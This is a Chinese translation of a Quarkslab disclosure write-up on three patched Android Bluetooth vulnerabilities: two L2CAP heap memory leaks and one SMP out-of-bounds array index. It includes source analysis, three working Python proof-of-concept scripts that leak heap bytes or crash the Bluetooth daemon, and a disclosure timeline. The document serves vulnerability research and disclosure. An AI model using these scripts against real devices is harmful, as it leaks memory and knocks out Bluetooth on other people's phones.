三個Android藍牙組件漏洞詳情
寫在前面的話
2018年3月，Quarkslab向Google報告了Android藍牙協議棧中的一些漏洞：
- 問題編號74882215：藍牙L2CAP L2CAP_CMD_CONN_REQ遠程內存泄露
- 問題編號74889513：藍牙L2CAP L2CAP_CMD_DISC_REQ遠程內存泄露
- 問題編號74917004：藍牙SMP smp_sm_event()OOB陣列索引
漏洞1：藍牙L2CAP L2CAP_CMD_CONN_REQ遠程內存泄露
1. 簡要
通過向目標設備發送特制的L2CAP數據包，藍牙范圍內的遠程攻擊者可利用Android藍牙協議棧中的漏洞披露屬于com.android.bluetooth守護程序堆的2個字節。
2. 漏洞詳細信息
L2CAP是藍牙協議棧中的協議， L2CAP的功能包括為更高層協議傳輸數據，包括通過單個鏈路復用多個應用程序。L2CAP是基于通道進行的，并且控制命令在預定義的L2CAP_SIGNALLING_CID (0x01)通道上被發送。L2CAP傳入數據由l2c_rcv_acl_data()函數[platform/system/bt/stack/ L2CAP /l2c_main.cc]處理。如果傳入的L2CAP數據包指定L2CAP_SIGNALLING_CID作為其目標通道，則l2c_rcv_acl_data()調用process_l2cap_cmd()函數來處理L2CAP控制命令。L2CAP_CMD_CONN_REQ控制命令在process_l2cap_cmd()函數中以以下這種方式處理：
- case L2CAP_CMD_CONN_REQ:
- STREAM_TO_UINT16(con_info.psm, p);
- STREAM_TO_UINT16(rcid, p);
- p_rcb = l2cu_find_rcb_by_psm(con_info.psm);
- if (p_rcb == NULL) {
- L2CAP_TRACE_WARNING("L2CAP - rcvd conn req for unknown PSM: %d",
- con_info.psm);
- l2cu_reject_connection(p_lcb, rcid, id, L2CAP_CONN_NO_PSM);
- break;
- } else {
- [...]
上面的代碼使用STREAM_TO_UINT16宏[platform/system/bt/stack/include/bt_types.h]從L2CAP數據包中讀取2個uint16_t值(con_info.psm 和rcid)：
- #define STREAM_TO_UINT16(u16, p) \
- { \
- (u16) = ((uint16_t)(*(p)) + (((uint16_t)(*((p) + 1))) << 8)); \
- (p) += 2; \
- }
該漏洞在于使用STREAM_TO_UINT16宏而不檢查攻擊者控制的數據包中是否還有足夠的數據;如果第二次使用STREAM_TO_UINT16時數據包中沒有剩余字節，則從帶外數據(out-of-bound)讀取rcid，更精確的從堆上與包數據相鄰的任何數據中讀取rcid。之后，如果l2cu_find_rcb_by_psm()返回NULL并因此到達if分支，則對l2cu_reject_connection() [stack/l2cap/l2c_utils.cc]的調用會將rcid發送到遠程對等體(the remote peer)，這樣堆中就會有2個字節泄露出來：
- void l2cu_reject_connection(tL2C_LCB* p_lcb, uint16_t remote_cid,
- uint8_t rem_id, uint16_t result) {
- [...]
- UINT16_TO_STREAM(p, 0); /* Local CID of 0 */
- UINT16_TO_STREAM(p, remote_cid);
- UINT16_TO_STREAM(p, result);
- UINT16_TO_STREAM(p, 0); /* Status of 0 */
- l2c_link_check_send_pkts(p_lcb, NULL, p_buf);
- }
這里請注意，l2cu_find_rcb_by_psm()可以完全受到攻擊者的影響，通過精心設計的L2CAP數據包中提供未注冊的協議或服務多路復用器(PSM)ID字段，會始終返回NULL(即始終返回到if分支)。另外，請注意，使用STREAM_TO_UINT16宏而不檢查攻擊控制的包中是否還有足夠的數據，這種不安全的模式在process_l2cap_cmd()函數中隨處可見。
3. Poc
下面的Python代碼觸發了漏洞并輸出從目標藍牙設備的com.android.bluetooth守護進程堆中泄漏的16位值。這個Python代碼使用Blueborne框架中的l2cap_infra包。用法：$ sudo python l2cap01.py
- import os
- import sys
- from l2cap_infra import *
- L2CAP_SIGNALLING_CID = 0x01
- L2CAP_CMD_CONN_REQ = 0x02
- def main(src_hci, dst_bdaddr):
- l2cap_loop, _ = create_l2cap_connection(src_hci, dst_bdaddr)
- # This will leak 2 bytes from the heap
- print "Sending L2CAP_CMD_CONN_REQ in L2CAP connection..."
- cmd_code = L2CAP_CMD_CONN_REQ
- cmd_id = 0x41 # not important
- cmd_len = 0x00 # bypasses this check at lines 296/297 of l2c_main.cc: pp_next_cmd = p + cmd_len; / if (p_next_cmd > p_pkt_end) {
- non_existent_psm = 0x3333 # Non-existent Protocol/Service Multiplexer id, so l2cu_find_rcb_by_psm() returns NULL and l2cu_reject_connection() is called
- # here we use L2CAP_SIGNALLING_CID as cid, so l2c_rcv_acl_data() calls process_l2cap_cmd():
- # 170 /* Send the data through the channel state machine */
- # 171 if (rcv_cid == L2CAP_SIGNALLING_CID) {
- # 172 process_l2cap_cmd(p_lcb, p, l2cap_len);
- l2cap_loop.send(L2CAP_Hdr(cid=L2CAP_SIGNALLING_CID) / Raw(struct.pack('<BBHH', cmd_code, cmd_id, cmd_len, non_existent_psm)))
- l2cap_loop.on(lambda pkt: True,
- lambda loop, pkt: pkt)
- # And printing the returned data.
- pkt = l2cap_loop.cont()[0]
- print "Response: %s\n" % repr(pkt)
- # print "Packet layers: %s" % pkt.summary()
- # The response packet contains 3 layers: L2CAP_Hdr / L2CAP_CmdHdr / L2CAP_ConnResp
- # The response contains 1 leaked word in the 'scid' field of the L2CAP_ConnResp layer
- print "Leaked word: 0x%04x" % pkt[2].scid
- l2cap_loop.finish()
- if __name__ == '__main__':
- if len(sys.argv) < 2:
- print("Usage: l2cap01.py <src-hci> <dst-bdaddr>")
- else:
- if os.getuid():
- print "Error: This script must be run as root."
- else:
- main(*sys.argv[1:])
漏洞#2：藍牙L2CAP L2CAP_CMD_DISC_REQ遠程內存泄露
1. 簡要
藍牙范圍內的遠程攻擊者可以使用Android藍牙協議棧(Bluetooth stack)中的漏洞通過向目標設備發送自定義的L2CAP數據包來自屬于com.android.bluetooth守護進程堆的4個字節。
2. 漏洞詳細信息
L2CAP_CMD_DISC_REQ控制命令在process_l2cap_cmd()函數中以下方式處理：
- case L2CAP_CMD_DISC_REQ:
- STREAM_TO_UINT16(lcid, p);
- STREAM_TO_UINT16(rcid, p);
- p_ccb = l2cu_find_ccb_by_cid(p_lcb, lcid);
- if (p_ccb != NULL) {
- if (p_ccb->remote_cid == rcid) {
- p_ccb->remote_id = id;
- l2c_csm_execute(p_ccb, L2CEVT_L2CAP_DISCONNECT_REQ, &con_info);
- }
- } else
- l2cu_send_peer_disc_rsp(p_lcb, id, lcid, rcid);
上面的代碼使用STREAM_TO_UINT16 macro [platform/system/bt/stack/include/bt_types.h]從L2CAP數據包中讀取2個uint16_t值(lcid和rcid)：
- #define STREAM_TO_UINT16(u16, p) \
- { \
- (u16) = ((uint16_t)(*(p)) + (((uint16_t)(*((p) + 1))) << 8)); \
- (p) += 2; \
- }
該漏洞存在于STREAM_TO_UINT16宏被使用兩次后，而不檢查攻擊者控制的數據包中是否還有至少4個字節;如果數據包中沒有剩余字節，那么從將從帶外數據讀取lcid和rcid，更準確的說是從與堆上的數據包數據相鄰的任何數據中讀取。之后，如果l2cu_find_ccb_by_cid()返回NULL并因此到達else分支，則對l2cu_send_peer_disc_rsp()[platform / system / bt / stack / l2cap / l2c_utils.cc]調用會將lcid和rcid發送到遠程對等體，這樣堆中的4個字節就會被泄漏。
- void l2cu_send_peer_disc_rsp(tL2C_LCB* p_lcb, uint8_t remote_id,
- uint16_t local_cid, uint16_t remote_cid) {
- [...]
- UINT16_TO_STREAM(p, local_cid);
- UINT16_TO_STREAM(p, remote_cid);
- l2c_link_check_send_pkts(p_lcb, NULL, p_buf);
- }
請注意，l2cu_find_ccb_by_cid()可以完全受到攻擊者的影響返回NULL(即始終返回到else分支)，因為該函數將始終返回NULL，除非在目標設備和攻擊者的藍牙設備之間設置一個活動通道控制塊(CCB)，并設置假的lcid。
3. Poc
以下Python代碼會觸發漏洞并輸出從目標藍牙設備的com.android.bluetooth守護進程堆中泄漏的兩個16位值。這個Python代碼使用來自Blueborne框架中的l2cap_infra包。用法：sudo python l2cap02.py
- import os
- import sys
- from l2cap_infra import *
- L2CAP_SIGNALLING_CID = 0x01
- L2CAP_CMD_DISC_REQ = 0x06
- def main(src_hci, dst_bdaddr):
- l2cap_loop, _ = create_l2cap_connection(src_hci, dst_bdaddr)
- # This will leak 4 bytes from the heap
- print "Sending L2CAP_CMD_DISC_REQ command in L2CAP connection..."
- cmd_code = L2CAP_CMD_DISC_REQ
- cmd_id = 0x41 # not important
- cmd_len = 0x00 # bypasses this check at lines 296/297 of l2c_main.cc: pp_next_cmd = p + cmd_len; / if (p_next_cmd > p_pkt_end) {
- # here we use L2CAP_SIGNALLING_CID as cid, so l2c_rcv_acl_data() calls process_l2cap_cmd():
- # 170 /* Send the data through the channel state machine */
- # 171 if (rcv_cid == L2CAP_SIGNALLING_CID) {
- # 172 process_l2cap_cmd(p_lcb, p, l2cap_len);
- l2cap_loop.send(L2CAP_Hdr(cid=L2CAP_SIGNALLING_CID) / Raw(struct.pack('<BBH', cmd_code, cmd_id, cmd_len)))
- l2cap_loop.on(lambda pkt: True,
- lambda loop, pkt: pkt)
- # And printing the returned data.
- pkt = l2cap_loop.cont()[0]
- print "Response: %s\n" % repr(pkt)
- # print "Packet layers: %s" % pkt.summary()
- # The response packet contains 3 layers: L2CAP_Hdr / L2CAP_CmdHdr / L2CAP_DisconnResp
- # The response contains 2 leaked words in the 'dcid' and 'scid' fields of the L2CAP_DisconnResp layer
- print "Leaked words: 0x%04x 0x%04x" % (pkt[2].dcid, pkt[2].scid)
- l2cap_loop.finish()
- if __name__ == '__main__':
- if len(sys.argv) < 2:
- print("Usage: l2cap02.py <src-hci> <dst-bdaddr>")
- else:
- if os.getuid():
- print "Error: This script must be run as root."
- else:
- main(*sys.argv[1:])
漏洞#3：藍牙SMP smp_sm_event() OOB數組索引
1. 簡要
藍牙范圍內的遠程攻擊者可以使用Android藍牙協議棧(Bluetooth stack)中的漏洞，使com.android.bluetooth守護進程訪問之外的數組，方法就是通過將意外傳輸發送包里所含的SMP_OPCODE_PAIRING_REQ命令的SMP數據包發送到目標設備。
2. 漏洞詳細信息
安全管理器協議(SMP)為運行在藍牙低能耗堆棧上的應用程序提供服務訪問，如設備身份驗證、設備授權和數據隱私訪問，以及對運行在藍牙低能耗堆棧上的應用程序的訪問。SMP協議位于L2CAP之上，位于預定義的L2CAP_SMP_CID (0x06)通道之上。傳入的SMP數據包由smp_data_received()函數[platform/system/bt/stack/smp/smp_l2c.cc]處理。如果通過L2CAP_SMP_CID固定通道接收到一個SMP數據包，其中包含SMP_OPCODE_PAIRING_REQ (0x01)命令，則會出現以下代碼:
- static void smp_data_received(uint16_t channel, const RawAddress& bd_addr,
- BT_HDR* p_buf) {
- [...]
- /* reject the pairing request if there is an on-going SMP pairing */
- if (SMP_OPCODE_PAIRING_REQ == cmd || SMP_OPCODE_SEC_REQ == cmd) {
- if ((p_cb->state == SMP_STATE_IDLE) &&
- (p_cb->br_state == SMP_BR_STATE_IDLE) &&
- !(p_cb->flags & SMP_PAIR_FLAGS_WE_STARTED_DD)) {
- p_cb->role = L2CA_GetBleConnRole(bd_addr);
- [...]
如上面的代碼所示，p_cb-> role設置為L2CA_GetBleConnRole(bd_addr)返回的值。 p_cb-> role應該包含其中一個值[platform / system / bt / stack / include / hcidefs.h]：
- /* HCI role defenitions */
- #define HCI_ROLE_MASTER 0x00
- #define HCI_ROLE_SLAVE 0x01
- #define HCI_ROLE_UNKNOWN 0xff
如果分析人員查看L2CA_GetBleConnRole()函數中[platform/system/bt/stack/l2cap/l2c_ble.cc]的代碼，就可以發現它調用l2cu_find_lcb_by_bd_addr()來查找一個匹配遠程BDADDR并使用低能耗傳輸(BT_TRANSPORT_LE)的活動鏈接控制塊(LCB)結構;如果找不到它，則返回HCI_ROLE_UNKNOWN(0xff)。當分析人員通過在BR/EDR(基本速率/增強數據速率，也稱為“classic”藍牙)傳輸上發送包含SMP_OPCODE_PAIRING_REQ命令的SMP數據包來命令此代碼時就是如下這種情況，它應該只用于低能耗(LE)傳輸：
- uint8_t L2CA_GetBleConnRole(const RawAddress& bd_addr) {
- uint8_t role = HCI_ROLE_UNKNOWN;
- tL2C_LCB* p_lcb;
- p_lcb = l2cu_find_lcb_by_bd_addr(bd_addr, BT_TRANSPORT_LE);
- if (p_lcb != NULL) role = p_lcb->link_role;
- return role;
- }
所以，返回smp_data_received()函數，在將p_cb-> role設置為HCI_ROLE_UNKNOWN(0xff)之后，它調用smp_sm_event()[platform/system/bt/stack/smp/smp_main.cc]，得到以下代碼。
- 953 void smp_sm_event(tSMP_CB* p_cb, tSMP_EVENT event, tSMP_INT_DATA* p_data) {
- ...
- 957 tSMP_ENTRY_TBL entry_table = smp_entry_table[p_cb->role];
- ...
- 970 /* look up the state table for the current state */
- 971 /* lookup entry /w event & curr_state */
- 972 /* If entry is ignore, return.
- 973 * Otherwise, get state table (according to curr_state or all_state) */
- 974 if ((event <= SMP_MAX_EVT) &&
- 975 ((entry = entry_table[event - 1][curr_state]) != SMP_SM_IGNORE)) {
在第957行，代碼使用p_cb-> role作為索引從smp_entry_table靜態數組中讀取，而不檢查p_cb-> role是否具有兩個有效值中的一個，即HCI_ROLE_MASTER(0x00)或HCI_ROLE_SLAVE(0x01)。這就是漏洞：smp_entry_table靜態數組只包含2個元素，而p_cb-> role的值為0xFF，在接收到包含SMP_OPCODE_PAIRING_REQ命令的SMP包后，在BR/EDR傳輸上，而不是在預期的低能耗傳輸之上。
- static const tSMP_ENTRY_TBL smp_entry_table[] = {smp_master_entry_map,
- smp_slave_entry_map};
因此，作為執行entry_table = smp_entry_table[0xff]時的OOB索引的結果，entry_table局部變量將包含一些垃圾值(位于bluetooth.default.so二進制文件的數據部分中的smp_entry_table全局變量之后的任何值)。因此，稍后在第975行，當取消對entry_table [event – 1] [curr_state]的引用時，它很可能會導致分段錯誤(受bluetooth.default.so二進制文件的特定版本的影響，其中包含smp_entry_table全局變量)，這將使com.android.bluetooth守護進程停止工作。
3. Poc
用法：$ sudo python smp01.py
- import os
- import sys
- from l2cap_infra import *
- L2CAP_SMP_CID = 0x06
- # This matches the CID used in l2cap_infra to establish a successful connection.
- OUR_LOCAL_SCID = 0x40
- SMP_OPCODE_PAIRING_REQ = 0x01
- def main(src_hci, dst_bdaddr):
- l2cap_loop, _ = create_l2cap_connection(src_hci, dst_bdaddr)
- print "Sending SMP_OPCODE_PAIRING_REQ in L2CAP connection..."
- cmd_code = SMP_OPCODE_PAIRING_REQ
- the_id = 0x41 # not important
- cmd_len = 0x08
- flags = 0x4142 # not important
- # here we use L2CAP_SMP_CID as cid
- l2cap_loop.send(L2CAP_Hdr(cid=L2CAP_SMP_CID) / Raw(struct.pack('<BBHHH', cmd_code, the_id, cmd_len, OUR_LOCAL_SCID, flags)))
- l2cap_loop.finish()
- print "The com.android.bluetooth daemon should have crashed."
- if __name__ == '__main__':
- if len(sys.argv) < 2:
- print("Usage: smp01.py <src-hci> <dst-bdaddr>")
- else:
- if os.getuid():
- print "Error: This script must be run as root."
- else:
- main(*sys.argv[1:])
時間線
- 2018年3月15日：Quarkslab向Google報告了影響Android藍牙堆棧的三個漏洞。錯誤被添加到ID“74882215,74889513和74917004”下的“Android外部安全報告”問題跟蹤器中。
- 2018年3月16日：一個溫和的機器人承認所有三個安全報告。
- 2018年3月26日：Android安全團隊關閉問題74882215作為問題74135099的副本，聲明該錯誤已在2018年3月4日由另一位外部研究人員報告過。
- 2018年5月10日：Quarkslab回到剩下的問題74889513和74917004，提醒谷歌自初始報告以來差不多兩個月沒有得到Android團隊的任何回應，并詢問是否有人能夠評估錯誤。
- 2018年6月4日：2018年6月Android安全公告發布，修復了問題74882215和74889513。
- 2018年7月2日：2018年7月Android安全公告發布，修復問題74917004。
- 2018年7月25日：此博客文章發布。
寫在最后的話
Quarkslab的分析人員已經向Google報告了三個影響Android藍牙協議棧(Bluetooth stack)的漏洞。其中兩個影響到了處理L2CAP協議的代碼，它們允許遠程攻擊者(在藍牙范圍內)公開屬于com.android.bluetooth進程的內存內容。這些內存泄露漏洞可能對攻擊者在攻擊過程的早期階段有所幫助，甚至可能用于檢索敏感數據。第三個漏洞是SMP協議實現中的帶外數組索引錯誤，雖然很可能會導致com.android.bluetooth進程崩潰，但攻擊者可能利用它來遠程執行Android設備上的遠程代碼。有趣的是，與前兩個L2CAP問題不同，此SMP錯誤不是解析格式錯誤的數據包的結果;實際上，它可以通過發送包含SMP_OPCODE_PAIRING_REQ的良好格式的SMP數據包來觸發，但是是通過BR/EDR傳輸而不是預期的BLE傳輸。
